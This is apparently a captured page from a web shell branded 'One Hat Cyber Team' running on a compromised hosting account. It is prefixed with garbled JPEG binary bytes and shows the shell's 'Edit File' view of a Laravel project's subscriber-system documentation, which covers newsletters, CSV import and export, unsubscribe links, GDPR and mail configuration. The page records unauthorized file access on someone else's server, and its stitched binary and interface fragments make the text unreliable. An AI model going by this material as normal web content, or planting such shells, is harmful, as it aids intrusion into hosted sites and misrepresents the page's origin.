JFIFHHC   %# , #&')*)-0-(0%()(C   ((((((((((((((((((((((((((((((((((((((((((((((((((( PA!)10"""*@#+OK&2Ecxo"PB}:9:9=<G$ S,"5R2iғ3ʥ3@;":%885I@e E"HZςZ9 .[+M,0" !1234#$5@P`?$| ,.,1:Q<(QXi *3|T}h L,IV|hoZ9ȅ*+%Y_|5fcqA<"8#_ix|pۨp+aQuoŝȡ`sޚ5n.:v]MkEGhЀ"Bif<O:Jԍ]o҈gZz!Xg{<6R{x'`M?[Zط#5ytL7S) vX^݈;=@^Ƽ h5 \?4?44 !1"02AQqa 3B#@P`r?f`YʉjZkx@NJaS}r𷩰tSɁ3peW*͎z4v\c`zdgdGu3 =2p* #l9<APuk8 4k*;82bVӋEt[0kmli㵑39i2o} mMkF \:2+w{{-$xVRkEAN]^R[ ryeVG*G4mmӃN!hFvIRD_QpT[lD.nNӢO˚i7+==8qJ'KB{K͟e5:e1wm[MAčVjmȵz) č}n(9?)!1AQ0aq @P`?!@v,c֟$M6_⠾SD$!/Y:NQ!c(^byu+.HU$%嗗ryN>]X02Dqq}Z˥4aoM,E؇Uq ϘcAC\:+R-/9Z OA*|+,u~#G B" DX1_VwPOY"d+Va\tv^[jc3^f4 KTFScNIFx1F9 m@YڭQ+(DDߵ[$M&DZV&ձGi@t}к/+4wd0Dh aaM='gUKM7M+O} 4rԋŸtg\F,0kaXU 5y6@2 DmZV{9]A.mEKZ2 ? I$I$I$I$I$I$I$I$A$I$@$I$I I$I $I$I$I$II$I$ I$I$I$IA$I$ I$$I @I$$I$I @$I$I$I$I$I$?4?4+!1AQaq0 @P`?(Irʲo(#)0a ?&40~4ՏKFhg~թ̛]NH }N:5{yoBNbsCtkM)j*D$<gNCs%A#*=@`䠴?T+U}bʩ D+ϪG!j_*)C_ЂG%ү4XTIH0r"%\~%aJ3iԁ _!Gd ;O=$ VXx BKSZtk&#)p0PQ.M9!ۋne)ҧ4'4$)F^v 1jfzUK0mV=AA&C"gzu%`08[^Us7нWźU z4)Be-HV%Hh7ԑA(>hP\%a[lL_n{ҐV4nFXD+1KtZ\!2)Y9Em8,_WeD3¢azWL3d^-A}Yg(AбxP>ƌHߤ;VnqJH ? A0HE jVU&H Ib&3MF@HL‹E CV-k6 T:W&3y-օcB6#hVL{Q0 Y Default page
One Hat Cyber Team
  • Dir : ~/var/www/clients/client1/web29/web/docs/
  • Edit File: 09_SUBSCRIBER_SYSTEM.md
    Available variables: {name} {email} {website} {unsubscribe}
    ``` **Backend Processing**: ```php public function sendEmail(Request $request) { $request->validate([ 'subject' => 'required|string|max:255', 'message' => 'required|string', 'recipients' => 'required|in:all,selected' ]); // Get recipients if ($request->recipients === 'all') { $subscribers = Subscriber::where('user_id', auth()->id())->get(); } else { $ids = explode(',', $request->selected_ids); $subscribers = Subscriber::where('user_id', auth()->id()) ->whereIn('id', $ids) ->get(); } if ($subscribers->isEmpty()) { return back()->with('error', 'No subscribers found'); } // Get user settings $settings = auth()->user()->basic_setting; // Prepare email template $subject = $request->subject; $messageTemplate = $request->message; // Send to each subscriber (queue recommended) foreach ($subscribers as $subscriber) { // Replace variables $message = str_replace('{email}', $subscriber->email, $messageTemplate); $message = str_replace('{website}', getTenantUrl(auth()->user()), $message); // Add unsubscribe link if ($request->has('include_unsubscribe')) { $unsubscribeLink = route('front.unsubscribe', [ 'email' => $subscriber->email, 'token' => encrypt($subscriber->id) ]); $message .= "

    Unsubscribe

    "; } // Send email (queued for performance) Mail::to($subscriber->email)->queue( new NewsletterMail($subject, $message, $settings) ); } return back()->with('success', "Newsletter sent to {$subscribers->count()} subscribers"); } ``` --- ## 📤 Export Subscribers ### **Export to Excel** **Route**: `/user/subscriber/export` **Controller**: `User\SubscriberController@export` **Export Class**: `app/Exports/SubscribersExport.php` ```php namespace App\Exports; use App\Models\User\Subscriber; use Maatwebsite\Excel\Concerns\FromCollection; use Maatwebsite\Excel\Concerns\WithHeadings; use Maatwebsite\Excel\Concerns\WithMapping; class SubscribersExport implements FromCollection, WithHeadings, WithMapping { protected $userId; public function __construct($userId) { $this->userId = $userId; } public function collection() { return Subscriber::where('user_id', $this->userId) ->orderByDesc('created_at') ->get(); } public function headings(): array { return [ 'ID', 'Email', 'Subscribed Date', 'Status' ]; } public function map($subscriber): array { return [ $subscriber->id, $subscriber->email, $subscriber->created_at->format('Y-m-d H:i:s'), 'Active' ]; } } ``` **Usage**: ```php use App\Exports\SubscribersExport; use Maatwebsite\Excel\Facades\Excel; public function export() { return Excel::download( new SubscribersExport(auth()->id()), 'subscribers_' . date('Y-m-d') . '.xlsx' ); } ``` **Download Formats**: - Excel (.xlsx) - CSV (.csv) - PDF (.pdf) --- ## 📥 Import Subscribers ### **CSV Format** ```csv email john@example.com jane@example.com user@company.com ``` **Import Method**: ```php public function importSubscribers(Request $request) { $request->validate([ 'csv_file' => 'required|file|mimes:csv,txt' ]); $file = $request->file('csv_file'); $csvData = array_map('str_getcsv', file($file->getRealPath())); array_shift($csvData); // Remove header $imported = 0; $duplicates = 0; $invalid = 0; foreach ($csvData as $row) { $email = trim($row[0]); // Validate email if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { $invalid++; continue; } // Check duplicate if (Subscriber::where('user_id', auth()->id()) ->where('email', $email) ->exists()) { $duplicates++; continue; } // Create subscriber Subscriber::create([ 'user_id' => auth()->id(), 'email' => $email ]); $imported++; } return back()->with('success', " Imported: {$imported}, Duplicates skipped: {$duplicates}, Invalid emails: {$invalid} "); } ``` --- ## 🔔 Email Templates ### **Template Variables** Available in all newsletter emails: | Variable | Replaced With | |----------|---------------| | `{name}` | Subscriber name (if available) | | `{email}` | Subscriber email | | `{website}` | Tenant website URL | | `{website_name}` | Tenant website title | | `{unsubscribe}` | Unsubscribe link | | `{date}` | Current date | | `{year}` | Current year | ### **Template Types** **1. Welcome Email**: ```html

    Welcome to {website_name}!

    Thank you for subscribing to our newsletter.

    You'll receive updates about our latest blog posts and news.

    Visit our site: {website}

    Unsubscribe

    ``` **2. Newsletter**: ```html

    {subject}

    Hi {email},

    {message}

    Best regards,
    {website_name}

    Unsubscribe

    ``` **3. New Post Notification**: ```html

    New Post: {post_title}

    {post_title}

    {post_excerpt}

    Read Full Article

    Unsubscribe

    ``` **Model**: `app/Models/User/UserEmailTemplate.php` **Table**: `user_email_templates` --- ## 🚫 Unsubscribe System ### **Unsubscribe Link** **Generation**: ```php $unsubscribeLink = route('front.unsubscribe', [ 'email' => encrypt($subscriber->email), 'token' => encrypt($subscriber->id), 'user' => $userId ]); ``` **Route**: `/unsubscribe/{email}/{token}` **Controller**: `Front\FrontendController@unsubscribe` **Process**: ```php public function unsubscribe($email, $token, Request $request) { try { $email = decrypt($email); $subscriberId = decrypt($token); $userId = $request->get('user'); // Find and delete subscriber $subscriber = Subscriber::where('id', $subscriberId) ->where('email', $email) ->where('user_id', $userId) ->first(); if ($subscriber) { $subscriber->delete(); return view('unsubscribe-success'); } return view('unsubscribe-notfound'); } catch (\Exception $e) { return view('unsubscribe-error'); } } ``` **View**: `resources/views/front/unsubscribe-success.blade.php` ```blade

    Unsubscribed Successfully

    You have been removed from our mailing list.

    We're sorry to see you go! 😢

    If this was a mistake, you can subscribe again.

    ``` --- ## 📊 Subscriber Analytics ### **Dashboard Metrics** **Route**: `/user/subscriber/analytics` **Controller**: `User\SubscriberController@analytics` **Metrics**: ```php // Total subscribers $total = Subscriber::where('user_id', $userId)->count(); // New subscribers today $today = Subscriber::where('user_id', $userId) ->whereDate('created_at', today()) ->count(); // New subscribers this week $thisWeek = Subscriber::where('user_id', $userId) ->whereBetween('created_at', [now()->startOfWeek(), now()->endOfWeek()]) ->count(); // New subscribers this month $thisMonth = Subscriber::where('user_id', $userId) ->whereMonth('created_at', now()->month) ->whereYear('created_at', now()->year) ->count(); // Growth chart (last 30 days) $growthData = Subscriber::where('user_id', $userId) ->selectRaw('DATE(created_at) as date, COUNT(*) as count') ->whereBetween('created_at', [now()->subDays(30), now()]) ->groupBy('date') ->orderBy('date') ->get(); ``` **Chart Display**: ```javascript // Chart.js new Chart(ctx, { type: 'line', data: { labels: @json($growthData->pluck('date')), datasets: [{ label: 'New Subscribers', data: @json($growthData->pluck('count')), borderColor: 'rgb(59, 130, 246)', fill: true, backgroundColor: 'rgba(59, 130, 246, 0.1)' }] }, options: { responsive: true, plugins: { title: { display: true, text: 'Subscriber Growth (Last 30 Days)' } } } }); ``` --- ## 📧 Email Campaigns ### **Campaign Management** **Features** (if implemented): - Create email campaigns - Schedule send time - A/B testing - Track open rates - Track click rates - Campaign analytics **Basic Implementation**: **Route**: `/user/campaigns` **Controller**: `User\CampaignController` (if exists) **Campaign Model**: ```php namespace App\Models\User; class EmailCampaign extends Model { protected $fillable = [ 'user_id', 'name', 'subject', 'message', 'status', 'scheduled_at', 'sent_at', 'recipients_count', 'opened_count', 'clicked_count' ]; public function user() { return $this->belongsTo(User::class); } } ``` --- ## 🔐 GDPR Compliance ### **Privacy Features** **1. Double Opt-In** (Optional): ```php // On subscribe $subscriber = Subscriber::create([ 'user_id' => $userId, 'email' => $email, 'verified' => false, 'verification_token' => Str::random(64) ]); // Send verification email Mail::to($email)->send(new VerifySubscription($subscriber)); ``` **Verification Route**: `/verify-subscription/{token}` **2. Data Export Request**: ```php // Allow subscriber to request their data public function exportMyData(Request $request) { $email = $request->email; $subscriber = Subscriber::where('email', $email)->first(); if ($subscriber) { $data = [ 'email' => $subscriber->email, 'subscribed_at' => $subscriber->created_at, 'subscription_source' => 'Website' ]; return response()->json($data); } } ``` **3. Unsubscribe Link** (required in all emails): ```html

    You're receiving this email because you subscribed to our newsletter. Unsubscribe | Manage Preferences

    ``` --- ## 📊 Subscriber Model **File**: `app/Models/User/Subscriber.php` ```php namespace App\Models\User; use Illuminate\Database\Eloquent\Model; class Subscriber extends Model { protected $table = 'user_subscribers'; protected $fillable = [ 'user_id', 'email', 'name', 'verified', 'verification_token' ]; protected $casts = [ 'verified' => 'boolean' ]; public function user() { return $this->belongsTo(\App\Models\User::class, 'user_id'); } /** * Generate unsubscribe URL */ public function getUnsubscribeUrl() { return route('front.unsubscribe', [ 'email' => encrypt($this->email), 'token' => encrypt($this->id), 'user' => $this->user_id ]); } } ``` **Table Schema**: ```php Schema::create('user_subscribers', function (Blueprint $table) { $table->id(); $table->bigInteger('user_id'); $table->string('email'); $table->string('name')->nullable(); $table->boolean('verified')->default(false); $table->string('verification_token')->nullable(); $table->timestamps(); // Indexes $table->index('user_id'); $table->unique(['user_id', 'email']); }); ``` --- ## 🎯 Subscription Forms ### **Form Locations** **1. Homepage Widget**: ```blade

    Subscribe to Our Newsletter

    Get latest updates delivered to your inbox

    @csrf
    ``` **2. Popup**: ```blade ``` **3. After Post** (call-to-action): ```blade

    Enjoyed this article?

    Subscribe to get more insights delivered to your inbox!

    @csrf
    ``` --- ## 📬 Email Service Configuration ### **Mail Settings** (Tenant) **Route**: `/user/email-settings` **Storage**: `user_basic_settings` or `user_email_settings` **Fields**: ```php [ 'mail_driver' => 'smtp', 'mail_host' => 'smtp.gmail.com', 'mail_port' => 587, 'mail_username' => 'noreply@tenant.com', 'mail_password' => 'encrypted_password', 'mail_encryption' => 'tls', 'mail_from_address' => 'noreply@tenant.com', 'mail_from_name' => 'Tenant Blog' ] ``` **Dynamic Configuration**: ```php // Set mail config per tenant Config::set('mail.from', [ 'address' => $settings->mail_from_address, 'name' => $settings->mail_from_name ]); Config::set('mail.mailers.smtp', [ 'transport' => 'smtp', 'host' => $settings->mail_host, 'port' => $settings->mail_port, 'encryption' => $settings->mail_encryption, 'username' => $settings->mail_username, 'password' => decrypt($settings->mail_password) ]); ``` **Note**: Each tenant can use their own SMTP settings or use platform default. --- ## 🔄 Automation Features ### **1. Auto-Notify on New Post** **Option**: Send email to all subscribers when new post published **Configuration**: `user_basic_settings.auto_notify_subscribers` ```php // In PostController@store if ($user->basic_setting->auto_notify_subscribers) { // Get all subscribers $subscribers = Subscriber::where('user_id', $userId)->get(); // Send notification email foreach ($subscribers as $subscriber) { Mail::to($subscriber->email)->queue( new NewPostNotification($post, $postContent) ); } } ``` **Email Template**: ```html

    New Post: {{ $post->title }}

    {{ excerpt($post->content, 200) }}

    Read Full Article ``` ### **2. Weekly Digest** **Scheduled Task**: `app/Console/Kernel.php` ```php protected function schedule(Schedule $schedule) { // Send weekly digest every Monday at 9 AM $schedule->call(function () { $users = User::where('status', 1)->get(); foreach ($users as $user) { if ($user->basic_setting->send_weekly_digest) { dispatch(new SendWeeklyDigest($user->id)); } } })->weekly()->mondays()->at('09:00'); } ``` **Digest Content**: - Last week's top posts - Most viewed posts - New posts - Upcoming events --- ## 📊 Database Schema ### **user_subscribers Table** ```sql CREATE TABLE `user_subscribers` ( `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, `user_id` bigint(20) UNSIGNED NOT NULL, `email` varchar(255) NOT NULL, `name` varchar(255) DEFAULT NULL, `verified` tinyint(1) DEFAULT 0, `verification_token` varchar(255) DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `user_subscribers_user_id_index` (`user_id`), UNIQUE KEY `user_subscribers_user_email_unique` (`user_id`, `email`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; ``` ### **email_campaigns Table** (if implemented) ```sql CREATE TABLE `email_campaigns` ( `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, `user_id` bigint(20) UNSIGNED NOT NULL, `name` varchar(255) NOT NULL, `subject` varchar(255) NOT NULL, `message` longtext NOT NULL, `status` varchar(50) DEFAULT 'draft', `scheduled_at` timestamp NULL DEFAULT NULL, `sent_at` timestamp NULL DEFAULT NULL, `recipients_count` int(11) DEFAULT 0, `opened_count` int(11) DEFAULT 0, `clicked_count` int(11) DEFAULT 0, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `email_campaigns_user_id_index` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; ``` --- ## 🔧 Mail Service Providers ### **Supported Services** **1. SMTP** (Default): - Gmail - SendGrid - Mailgun - Amazon SES - Custom SMTP **2. API-Based**: - Mailgun API - SendGrid API - Postmark API - SparkPost API **Configuration**: ```php // In .env or tenant settings MAIL_MAILER=smtp MAIL_HOST=smtp.gmail.com MAIL_PORT=587 MAIL_USERNAME=your-email@gmail.com MAIL_PASSWORD=your-app-password MAIL_ENCRYPTION=tls MAIL_FROM_ADDRESS=noreply@moveglobal.biz MAIL_FROM_NAME="${APP_NAME}" ``` --- ## 🚀 Advanced Features ### **1. Segmentation** **Feature**: Group subscribers by interests/tags **Implementation**: ```php // Add tags to subscribers Schema::table('user_subscribers', function($table) { $table->json('tags')->nullable(); $table->json('interests')->nullable(); }); // Tag subscribers $subscriber->update([ 'tags' => ['technology', 'ai', 'business'] ]); // Send to specific segment $techSubscribers = Subscriber::where('user_id', $userId) ->whereJsonContains('tags', 'technology') ->get(); ``` ### **2. Subscription Preferences** **Feature**: Let subscribers choose email frequency ```php Schema::table('user_subscribers', function($table) { $table->enum('frequency', ['immediate', 'daily', 'weekly', 'monthly']) ->default('weekly'); }); // Preference page Route::get('/subscription/preferences/{email}/{token}', 'SubscriberController@preferences'); ``` ### **3. Email Analytics** **Track**: - Open rate (tracking pixel) - Click rate (tracked links) - Unsubscribe rate - Bounce rate **Implementation**: ```php // Tracking pixel in email // Track opens public function trackOpen($campaignId, $subscriberId) { EmailCampaignStat::create([ 'campaign_id' => $campaignId, 'subscriber_id' => $subscriberId, 'action' => 'opened', 'ip_address' => request()->ip() ]); // Return 1x1 transparent pixel return response(base64_decode('R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7')) ->header('Content-Type', 'image/gif'); } ``` --- ## 🔔 Notifications ### **Subscriber Notifications** **To Tenant**: - New subscriber added - Subscriber count milestone (100, 500, 1000, etc.) - High unsubscribe rate alert **To Subscriber**: - Welcome email - Email confirmation (double opt-in) - Newsletter - New post notification - Unsubscribe confirmation --- ## 📁 Related Files ### **Controllers** ``` app/Http/Controllers/ ├── User/ │ └── SubscriberController.php # Subscriber management ├── Front/ │ └── FrontendController.php # Subscribe/unsubscribe └── Admin/ └── SubscriberController.php # Admin view (all tenants) ``` ### **Models** ``` app/Models/User/ ├── Subscriber.php # Subscriber model ├── UserEmailTemplate.php # Email templates └── EmailCampaign.php # Campaigns (if impl.) ``` ### **Mail** ``` app/Mail/ ├── WelcomeSubscriber.php # Welcome email ├── NewsletterMail.php # Newsletter ├── NewPostNotification.php # Post alert └── WeeklyDigest.php # Weekly digest ``` ### **Exports** ``` app/Exports/ └── SubscribersExport.php # Excel export ``` ### **Views** ``` resources/views/ ├── user/subscriber/ │ ├── index.blade.php # List │ ├── send-email.blade.php # Email form │ └── analytics.blade.php # Analytics ├── front/ │ ├── unsubscribe-success.blade.php │ └── subscribe-success.blade.php └── emails/ ├── welcome.blade.php ├── newsletter.blade.php └── new-post.blade.php ``` --- ## 🎯 Quick Actions ### **Send Newsletter** ``` 1. Dashboard → Subscribers 2. Click "Send Newsletter" 3. Write subject and message 4. Preview email 5. Select recipients (all or selected) 6. Click "Send" 7. Emails queued and sent ``` ### **Export Subscribers** ``` 1. Dashboard → Subscribers 2. Click "Export" 3. Choose format (Excel/CSV) 4. Download file ``` ### **Import Subscribers** ``` 1. Dashboard → Subscribers 2. Click "Import" 3. Upload CSV (one email per row) 4. Review validation 5. Import 6. Check results ``` --- ## 📊 Admin Subscriber Management ### **Global Subscriber View** **Route**: `/admin/subscribers` **Controller**: `Admin\SubscriberController` **Features**: - View ALL subscribers (across all tenants) - Filter by tenant - Global analytics - Send platform-wide announcements - Export all subscribers **Model**: `app/Models/Subscriber.php` (global) **Table**: `subscribers` (platform-wide) **Note**: Separate from `user_subscribers` (tenant-specific) --- **Last Updated**: October 22, 2025 **Model**: Subscriber **Tables**: user_subscribers, subscribers **Package**: PHPMailer, Laravel Mail